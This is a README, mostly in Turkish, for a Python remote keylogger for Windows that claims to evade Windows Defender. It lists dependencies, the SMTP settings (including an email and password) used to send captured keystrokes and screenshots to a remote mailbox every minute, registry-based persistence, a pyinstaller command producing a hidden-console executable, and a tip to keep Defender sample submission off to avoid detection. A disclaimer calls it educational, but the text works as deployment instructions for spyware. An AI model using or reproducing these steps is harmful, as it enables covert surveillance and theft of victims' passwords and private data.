(On 09/04/2021) Remote Keylogger software has been made for the latest up-to-date "Windows 7, 8 and 10" operating systems. It managed to circumvent the "Windows Defender" program.
(Windows 7, 8 ve 10 gibi) Güncel Windows işletim sistemlerinde çalışan ve Defender gibi güvenlik programlarına yakalanmayan "Remote keylogger" programı yazılması hedeflenmiştir. 09/04/2021 tarihi itibarıyla gerçekleştirilmiştir. Güncellemelerle beraber zamanla bu durum değişebilir.
Kaynak kodun derlenmiş çalışır hali ile ilgili video https://www.youtube.com/watch?v=7zq-eTPeRbY adresinden izlenebilir.
- Gerekli kütüphaneler: PyWin32, pynput, pyautogui, pyinstaller
Yüklemek için;
pip install PyWin32
pip install pyautogui
pip install pyinstaller
"pyinstaller" kodu tek parça çalıştırılabilir dosya haline getirmek için kullanılacak
- Ayrıca kullanılacak e-mail adresinin smtp protocol ayarlarının yapılması, çalışıp çalışmadığının kontrol edilmesi gereklidir. E-maillin çalışma kontrolü https://github.com/abdulkadir-gungor/python_smtp adresindeki python scripti ile yapılabilir.
Örnek olması açısından Gmail için şu ayarların yapılması gereklidir.
[A]
[B]
[C]
[D]
Keylogger kodlanırken "Python 3.8.5" kullanıldı. Program çalışırken; klavye log kayıtlarını ve ekran görüntülerini girilen e-mail adresine ayarlanan zaman aralıklarında (varsayılan 60 sn bir) gönderilmektedir.
keylogger.py ==> Hem ekran görüntüsünü hem de klavyedeki basılan tuşları 1 dk arayla girilen e-mail adresine gönderir. Ana derlenecek kaynak dosyası budur.
SMTP_Email.py ==> Email göndermek için kullanılacak sınıfları içerir.
"keylogger.py" dosyasında 105. ve 110. satırlar arasında bulunan değişkenler, gerekli şekilde ayarlanmalıdır.
SEND_MAIL_SECOND = 60 # Gönderilecek e-mail süre aralığı, (varsayılan 60 sn)
SMTP_ADDR = 'smtp.gmail.com' # SMTP Adresi
PORT = 587 # SMTP Protokolunun portu
SENDER = 'sender.test.gungor.abc@gmail.com' # SMTP protokol ayarları yapılmış, kontrol edilmiş e-mail adresi
PASSWORD = 'q123aSd456z' # SMTP ayarları yapılmış e-mail adresinin şifresi
MAIL_TO = 'receiver.test.gungor.abc@gmail.com' # E-mail gönderilecek adres (SMTP ayarları yapılmış olan e-mail olabileceği gibi farklı e-mail adresi de yazılabilir.)
"pynput" gibi hazır kütüphane kullanılmamıştır. Tarafımdan klavye fonksiyonu yazılmıştır. Klavye fonksiyonu, "Türkçe Q Klavye"ye göre yazılmıştır. Eğer herhangi farklılık yaşamanız durumda ilgili klavye fonksiyonundan düzeltebilirsiniz. Detaylı bilgi için "https://docs.microsoft.com/tr-tr/dotnet/api/system.windows.forms.keys?view=net-5.0" adresine bakınız.
Kalıcılık için regedit girdisi kullanılmış olup, "wmic service" gibi daha agresif methodlar kullanılmamıştır. Farklı amaçlarla kullanılmaması için özellikle regedit kullanılmış olup, program "remote keylogger" olacak şekilde dizayn edilmiştir.
pyinstaller --onefile --noconsole --icon=keyboard.ico keylogger.py
Aşağıda PyCharm programı üzerinde nasıl derlendiği resim olarak gösterilmektedir.
[1] Derleme işlemi
[2 - Kaynak Kodun Derlenmiş Hali] Oluşturulan dist klasörü içerisinde kaynak kodun derlenmiş hali bulunur.
Windows 7, 8 , 10 işletim sistemlerinde sorunsuz şekilde çalıştı. Özellikle tüm güncelleştirmeleri yapılmış işletim sistemleri seçildi. Ayrıca Defender ve Virüs tarama programı bulunan cihazlarda sorunsuz çalıştığı gözlemlendi.
[1]
[2]
[3]
[4]
[5]
Programın çalışması sırasında herhangi bir uyarı ile karşılaşılmadı. İlgili programın konumu gösterilerek, özellikle güncel Windows Defender ile taratılmıştır. "09/04/2021" tarihi itibarıyla Defender programı herhangi bir uyarı vermemiştir. Güncellemelerle beraber zamanla bu durum değişebilir.
Özellikle Defender ayarlarında örnek numune gönderme kapalıdır. Defender imzasız olan ve sistem kaynaklarına erişen (zararlı olsun ya da olmasın) tüm yazılımları merkeze gönderir. Eğer bu ayar açık olursa keylogger veritabanına kayıt edilerek 1 ya da 2 hafta içerisinde yakalanmaya ya da uyarı vermeye başlar.
[1]
[2]
[3]
[4]
Eğitim amacıyla hazırlanmıştır.
Kullanıcıların bazı kullanım şekilleri suça sebep olabilir.
Olumsuz durumlarla karşılaşmamak için "Yasal_Uyarı.txt" dosyasını okuyunuz.